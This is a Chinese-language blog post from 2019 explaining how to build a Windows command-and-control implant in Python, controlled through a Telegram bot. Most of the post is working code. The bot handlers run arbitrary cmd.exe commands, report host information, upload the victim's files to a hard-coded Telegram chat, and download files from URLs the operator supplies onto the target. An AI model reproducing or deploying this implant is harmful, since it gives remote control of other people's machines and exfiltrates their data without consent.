Telegram做C2?
前言
看到某位师傅写了个Tg的C2,看起来不错打算自己也来操作一波
单方面缺点:一个bot只能开一次,多开409(冲突)
选择环境
Tg官方给出了很多语言的API模块,看你选择哪个
我这里用的是python开发的,用的模块是
README.md给出的说明:Telegram API->README.md
最后定下来的环境:
version:python3.7
modules:requests,pyTelegramBotAPI
os:windows
c2针对的系统
os:windows
创建一个Bot
登录Tg
访问https://telegram.me/botfather
添加BotFather为联系人(BotFather用来创建和管理自定义bot)
发送/newbot,输入用户名和Bot的名称即可完成创建一个bot
创建完成后,你会得到你新建bot的token
然后添加你新建的机器人,直接搜索添加就好
编写程序
整体的交互流程如图:
(画图较丑,见谅)
首先tg的API模块给出了很多封装的函数(装饰器),用于处理接收、发送、文件上传、文件下载
PS:建议看一下API文档在来看
制定一条命令,当attack执行了该指令的时候执行对应的操作与处理无效指令
import telebot
bot = telebot.TeleBot("TOKEN")
@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "demo") #获取消息句柄,返回对应消息
@bot.message_handler(func=lambda message: True)
def echo_all(message):
bot.reply_to(message, message.text) #返回输入无效的指令
bot.polling() #运行bot
然后构造各个指令对应的函数
@bot.message_handler(commands=['help'])
def send_welcome(message):
bot.reply_to(message,'/cmd [token] [command] -- 执行cmd命令\n/computer -- 查看主机信息\n/upload [token] [filepath] -- 上传机器的文件到tg\n/download [token] [fileptah] -- 下载远程文件到目标机器\n/help [token] -- 帮助信息')
@bot.message_handler(commands=['computer'])
def commputer(message):
bot.reply_to(message,'主机信息:')
jg='name:{} ID:{} {}'.format(str(hostname).lstrip().rstrip().replace('\n',''),LD[0],IPS[0])
bot.reply_to(message,jg)
@bot.message_handler(regexp="[/]cmd [0-9-a-z]{32} .*") #当返回的内容正则能匹配成功后执行以下
def handle_message(message):
command=str(message.text).replace('/cmd','').strip().lstrip()
ken=re.findall('[0-9-a-z]{32}',command)
if ken[0]==LD[0]:
commands=re.subn("[0-9-a-z]{32}","",command)
cmd=str(commands[0]).lstrip().rstrip()
jg=os.popen('cmd.exe /c {}'.format(cmd)).read()
splitted_text=util.split_string(jg,3000)
for text in splitted_text:
bot.reply_to(message,text)
@bot.message_handler(regexp="[/]upload [0-9-a-z]{32} .*")
def upload(message):
command=str(message.text).replace('/upload','').strip().lstrip()
ken=re.findall('[0-9-a-z]{32}',command)
if ken[0]==LD[0]:
commands=re.subn("[0-9-a-z]{32}","",command)
path=str(commands[0]).lstrip().rstrip()
file_name=str(path).split('\\')[-1]
try:
file=open(path,'rb')
bot.send_document(631202355,file,caption=file_name)
except:
pass
bot.send_message(631202355,'没有:{}这个文件'.format(path))
@bot.message_handler(regexp="[/]download [0-9-a-z]{32} .*")
def download(message):
command = str(message.text).replace('/download', '').strip().lstrip()
ken = re.findall('[0-9-a-z]{32}', command)
if ken[0] == LD[0]:
url=re.subn("[0-9-a-z]{32}", "", command)
try:
file_name=str(url[0].split('/')[-1])
dk=open(file_name,'wb')
rqt=requests.get(url=str(url[0]).lstrip().rstrip(),headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'},timeout=30)
print(rqt.status_code)
dk.write(rqt.content)
dk.close()
if os.path.exists(file_name):
bot.send_message(631202355,'文件:{} download 成功!'.format(file_name))
else:
bot.send_message(631202355, '文件:{} download 失败!'.format(file_name))
except Exception as r:
bot.send_message(631202355,'Error:{}'.format(r))
这里对应指令
指令:/help,/cmd,/upload,/download,/computer
PS:我原本打算用Tg控制多个bot的,所以写了生成token这个操作,后面发生409(请求冲突问题)。Google一堆也没解决方案,就没去改他了
完整代码->仓库地址:Tg_C&C)
测试结果:
GIF
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Telegram做C2?
本文作者:九世
发布时间:2019-08-20, 20:02:31
最后更新:2019-08-20, 21:04:23
原始链接:http://jiushill.github.io/posts/da6d6ea3.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。